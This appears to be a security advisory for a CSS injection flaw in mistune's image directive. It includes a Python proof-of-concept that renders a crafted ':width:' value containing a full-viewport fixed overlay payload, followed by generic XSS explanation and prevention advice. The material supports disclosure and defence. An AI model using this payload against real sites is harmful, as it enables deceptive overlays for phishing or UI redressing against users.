Cross-site Scripting (XSS) Affecting mistune package, versions [,3.2.1)

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the render_block_image function. An attacker can inject arbitrary CSS into the style attribute of an image element by supplying a crafted value to the :width: or :height: option, which is insufficiently validated and allows additional CSS properties to be appended. This can result in the creation of deceptive overlays that obscure legitimate content, potentially enabling phishing, UI redressing, or data exfiltration attacks.

#!/usr/bin/env python3
"""H6: Image directive CSS injection — width/height use prefix-only re.match().

Exploit combines: position:fixed  +  background-color  +  outline colour
→ a full-viewport coloured overlay injected via a single :width: option.
"""
import os, html as h
from mistune import create_markdown
from mistune.directives import FencedDirective
from mistune.directives.image import Image

md = create_markdown(escape=True, plugins=[FencedDirective([Image()])])

# --- baseline ---
bl_file = "baseline_h6.md"
bl_src  = (
    "```{image} photo.jpg\n"
    ":width: 400\n"
    ":height: 300\n"
    ":alt: safe image\n"
    "```\n"
)
with open(os.path.join(os.getcwd(), bl_file), "w") as f:
    f.write(bl_src)
bl_out = str(md(bl_src))

print(f"[{bl_file}]\n{bl_src}")
print("[output — clean width/height attributes, no style injection]")
print(bl_out)

# --- exploit ---
# _num_re.match() is prefix-only (no $ anchor), so anything after the leading
# digits is accepted and written verbatim into style="width:<value>;".
# This single :width: value smuggles a full CSS attack chain:
#   position:fixed  → overlay sits above the entire page
#   top/left/width/height → covers 100 % of the viewport
#   background-color:#e11d48 → vivid crimson fill
#   outline:8px solid #facc15 → bright yellow border
#   color:#fff → white alt-text label
#   z-index:9999 → on top of everything
ex_file = "exploit_h6.md"
ex_src  = (
    "```{image} x.jpg\n"
    ":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;"
    "background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n"
    ":alt: ⚠ CSS INJECTED — click to dismiss ⚠\n"
    "```\n"
)
with open(os.path.join(os.getcwd(), ex_file), "w") as f:
    f.write(ex_src)
ex_out = str(md(ex_src))

print(f"[{ex_file}]\n{ex_src}")
print("[output — colour + background-colour + fixed overlay injected into style=]")
print(ex_out)

# --- HTML report ---
CSS = """
body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}
h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}
p.desc{color:#555;font-size:.9em;margin-top:6px}
.warn{background:#fffbeb;border:1px solid #fbbf24;border-radius:6px;padding:10px 16px;
      font-size:.85em;color:#92400e;margin:12px 0}
.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;
      box-shadow:0 1px 4px rgba(0,0,0,.1)}
.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}
.baseline .case-header{background:#d1fae5;color:#065f46}
.exploit  .case-header{background:#fee2e2;color:#7f1d1d}
.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}
.panel{padding:16px}
.panel+.panel{border-left:1px solid #eee}
.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}
pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;
    font-size:.78em;white-space:pre-wrap;word-break:break-all}
.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}
.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;
          background:#fff;font-size:.9em;position:relative;overflow:hidden;height:180px}
/* scope the live-render sandbox so position:fixed stays inside the box */
.sandbox{position:relative;width:100%;height:100%}
.sandbox img{max-width:100%;max-height:100%;object-fit:contain}
/* override position:fixed on exploit img to keep it inside the preview box */
.sandbox img[style*="position:fixed"]{position:absolute!important;width:100%!important;
  height:100%!important;top:0!important;left:0!important}
"""

def case(kind, label, filename, src, out):
    header = "BASELINE" if kind == "baseline" else "EXPLOIT"
    sandbox = f'<div class="sandbox">{out}</div>'
    return f"""
<div class="case {kind}">
  <div class="case-header">{header} — {h.escape(label)}</div>
  <div class="panels">
    <div class="panel">
      ### Input — {h.escape(filename)}
      <pre>{h.escape(src)}</pre>
    </div>
    <div class="panel">
      <h3>Output — HTML source</h3>
      <pre>{h.escape(out)}</pre>
      <div class="rlabel">↓ live render (sandboxed to preview box)</div>
      <div class="rendered">{sandbox}</div>
    </div>
  </div>
</div>"""

page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8">
<title>H6 — Image CSS Injection</title><style>{CSS}</style></head><body>
<h1>H6 — Image Directive CSS Injection</h1>
<p class="desc">
  <code>_parse_attrs()</code> in <code>directives/image.py</code> validates
  <code>:width:</code> / <code>:height:</code> with <code>_num_re.match()</code>
  (prefix-only — no <code>$</code> anchor). Anything after the leading digits
  is accepted verbatim and written straight into a <code>style=</code> attribute.
  A single <code>:width:</code> option is sufficient to smuggle an arbitrary
  CSS chain: <strong>position:fixed · background-color · outline colour · full-viewport overlay</strong>.
</p>
<div class="warn">
  ⚠ The EXPLOIT preview below is sandboxed inside its box.
  In a real document the crimson overlay would cover the <em>entire browser window</em>.
</div>
{case("baseline",
      "Integer dims → clean width/height= attributes, no style=",
      bl_file, bl_src, bl_out)}
{case("exploit",
      ":width: carries position:fixed + background-color + outline → full-viewport coloured overlay",
      ex_file, ex_src, ex_out)}
</body></html>"""

out_path = os.path.join(os.getcwd(), "report_h6.html")
with open(out_path, "w") as f:
    f.write(page)
print(f"\n[report] {out_path}")

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type	Origin	Description
Stored	Server	The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected	Server	The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based	Client	The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated		The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

• GitHub Advisory
• GitHub Commit
• GitHub Release